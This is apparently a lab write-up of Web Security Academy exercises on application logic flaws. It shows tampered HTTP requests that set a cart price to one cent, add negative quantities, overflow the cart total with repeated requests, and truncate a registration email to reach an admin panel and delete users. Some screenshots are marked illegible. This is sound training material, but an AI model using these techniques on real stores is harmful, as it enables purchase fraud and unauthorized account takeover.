

# Application logic vulnerabilities

## LAB 45 Excessive trust in client-side controls

I was provided with an account of user `wiener:peter` that has \$100 on his account:

Store credit:  
\$100.00

**My Account**

Your username is: wiener

Email

Update email

I was asked to buy “Lightweight "I33t" Leather Jacket” that costs \$1337.

To do so, I tested the order making process by adding goods to the cart and trying to spend money. I have noticed, that, when adding an item to the cart, it contains price parameter:

**Request**

Pretty Raw Hex

```
1 POST /cart HTTP/2
2 Host: 0a300008036119ac814cc06300ae0035.web-security-academy.net
3 Cookie: session=cjmoRREDHrtcfMe6aT3WdyOWe1Xgr5UQ
4 Content-Length: 49
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Not_A_Brand";v="8", "Chromium";v="120"
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "Windows"
9 Upgrade-Insecure-Requests: 1
10 Origin: https://0a300008036119ac814cc06300ae0035.web-security-academy.net
11 Content-Type: application/x-www-form-urlencoded
12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
13 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.7
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-User: ?1
17 Sec-Fetch-Dest: document
18 Referer: https://0a300008036119ac814cc06300ae0035.web-security-academy.net/product?productId
19 Accept-Encoding: gzip, deflate, br
20 Accept-Language: en-US,en;q=0.9
21 Priority: u=0, i
22
23 productId=I33t&redir=PRODUCT&quantity=1&price=133700
```

I changed the value of this parameter to “1” and observed that the price in the cart has changed:

Store credit:  
\$100.00

**Cart**

Name	Price	Quantity
Lightweight "I33t" Leather Jacket	\$0.01	<input type="text" value="1"/> <input type="button" value="+"/> <input type="button" value="Remove"/>

Coupon:

Total: \$0.01

What is left is to place the order and demonstrate, how order has been made with exploiting site’s purchase making logic:

Congratulations, you solved the lab!

Store credit:  
\$99.99

Your order is on its way!

Name	Price	Quantity
Lightweight "I33t" Leather Jacket	\$1337.00	1

Total: \$0.01

LAB 46 [High-level logic vulnerability](#)

This lab is similar to the previous one, however, this time it does not contain price parameter. However, there is ‘quantity’ parameter left when adding an item to a cart. Changing its value does change the value of the item in the cart, and there was no handling of passing negative quantities that could lead to decreasing of the price of items in the cart. In such a way, I was able to decrease the amount of leather jacket and purchase it for the \$12 (it’s possible to make it even cheaper):

Congratulations, you solved the lab!

Store credit:  
\$87.54

Your order is on its way!

Name	Price	Quantity
Lightweight "I33t" Leather Jacket	\$1337.00	1
Picture Box	\$94.61	-14

Total: \$12.46

However, there is a correct assumption tat price of cart cannot be lower than 0, so I couldn’t add myself extra money in such a way.

LAB 47 [Low-level logic flaw](#)

In this lab, everything remains the same, but this time negative quantities are handled nicely: if there is negative quantity, then it will remove the item from cart. I tried to go in opposite way and increase amount to huge numbers and discovered that maximum quantity that could be set is 99:

Request

PrettyRawHex

1 POST /cart HTTP/2

2 Host: 0a6800ff03afe630811b899f001d0015.web-security-academy.net

3 Cookie: session=t1QLXCQVFvjLvKktKjeVix3W915v4A23

4 Content-Length: 40

5 Cache-Control: max-age=0

6 Sec-Ch-Ua: "Not A Brand";v="8", "Chromium";v="120"

7 Sec-Ch-Ua-Mobile: ?0

8 Sec-Ch-Ua-Platform: "Windows"

9 Upgrade-Insecure-Requests: 1

10 Origin: https://0a6800ff03afe630811b899f001d0015.web-security-academy.net

11 Content-Type: application/x-www-form-urlencoded

12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36

13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7

14 Sec-Fetch-Site: same-origin

15 Sec-Fetch-Mode: navigate

16 Sec-Fetch-User: ?1

17 Sec-Fetch-Dest: document

18 Referer: https://0a6800ff03afe630811b899f001d0015.web-security-academy.net/product?productId=1

19 Accept-Language: en-US,en;q=0.9

20 Priority: u=0, i

21

22

23 productId=1&redirect=PRODUCT&quantity=10000

Response

PrettyRawHexRender

1 HTTP/2 400 Bad Request

2 Content-Type: application/json; charset=utf-8

3 X-Frame-Options: SAMEORIGIN

4 Content-Length: 29

5

6 "Invalid parameter: quantity"

Request

PrettyRawHex

1 POST /cart HTTP/2

2 Host: 0a6800ff03afe630811b899f001d0015.web-security-academy.net

3 Cookie: session=t1QLXCQVFvjLvKktKjeVix3W915v4A23

4 Content-Length: 37

5 Cache-Control: max-age=0

6 Sec-Ch-Ua: "Not A Brand";v="8", "Chromium";v="120"

7 Sec-Ch-Ua-Mobile: ?0

8 Sec-Ch-Ua-Platform: "Windows"

9 Upgrade-Insecure-Requests: 1

10 Origin: https://0a6800ff03afe630811b899f001d0015.web-security-academy.net

11 Content-Type: application/x-www-form-urlencoded

12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36

13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7

14 Sec-Fetch-Site: same-origin

15 Sec-Fetch-Mode: navigate

16 Sec-Fetch-User: ?1

17 Sec-Fetch-Dest: document

18 Referer: https://0a6800ff03afe630811b899f001d0015.web-security-academy.net/product?productId=1

19 Accept-Encoding: gzip, deflate, br

20 Accept-Language: en-US,en;q=0.9

21 Priority: u=0, i

22

Response

PrettyRawHexRender

1 HTTP/2 302 Found

2 Location: /product?productId=1

3 X-Frame-Options: SAMEORIGIN

4 Content-Length: 0

5

6

Automatically repeating this request in Burp Intruder and increasing the amount by 99, I noticed that at certain point the price becomes negative:

Store credit:  
\$100.00

Cart

Name	Price	Quantity
Lightweight "I33t" Leather Jacket	\$1337.00	- 53757 + Remove

Coupon:

Add coupon

Apply

Total: -\$14026236.92

This could mean that price number becomes that large, so it exceeds its data type limit and loops back to negative values back to 0 and so on. Knowing that, typically, integer limit in most languages is normally  $[-2,147,483,647 ; 2,147,483,647]$  and for float it's  $3.4E \pm 38$ , I can mathematically compute the quantity number to loop back to zero. Before I start with integers, I noticed that price is kept without floating points, so our jacket will cost \$133700 instead of \$1337.00:

$$133700 \times 99 = 13\,236\,300$$

$$2 \times 2,147,483,647 / 13\,236\,300 = 324,5$$

Therefore, I will add order of 99 jackets exactly 323 times to be sure that price remains negative:

Store credit: \$100.00

Cart

Name	Price	Quantity
Lightweight "I33t" Leather Jacket	\$1337.00	- 32076 + Remove

Coupon:

Add coupon

Apply

Total: -\$64060.96

Place order

I need to add  $6406096/13700 = 47$  jackets to cart to be maximally close to \$0:

Store credit:  
\$100.00

Cart

Name	Price	Quantity
Lightweight "I33t" Leather Jacket	\$1337.00	- 32123 + Remove

Coupon:

Add coupon

Apply

Total: -\$1221.96

Place order

Store credit:

\$100.00

Cart

Name	Price	Quantity	
Lightweight "I331" Leather Jacket	\$1337.00	<div>- 32123 +</div>	<div>Remove</div>
Safety First	\$46.36	<div>- 27 +</div>	<div>Remove</div>

Coupon:

Add coupon

Apply

Total: \$29.76

Place order

**Congratulations, you solved the lab!**

**Your order is on its way!**

Name	Price	Quantity
Lightweight "I33t" Leather Jacket	\$1337.00	32123
Safety First	\$46.36	27

**Total: \$29.76**

## LAB 48 Inconsistent handling of exceptional input

Admin interface only available if logged in as a DontWannaCry user

## My Account

Your username is: hackr1

Your email is:

[illegible]

This account was registered with email (436 character long):

[illegible]

The application truncated it up to 255 characters, so my idea was to try to register a user with @dontwannacry.com domain with last symbol 'm' on 255<sup>th</sup> position:

[illegible]

Having such a payload, I received a registration confirmation email:

[illegible]

Next, I checked the account and discovered that admin panel is now available to me:

[illegible]

Now I can conduct malicious actions, such as deletion of accounts:

Congratulations, you solved the lab!

User deleted successfully!

## Users

wiener - Delete  
hacker - Delete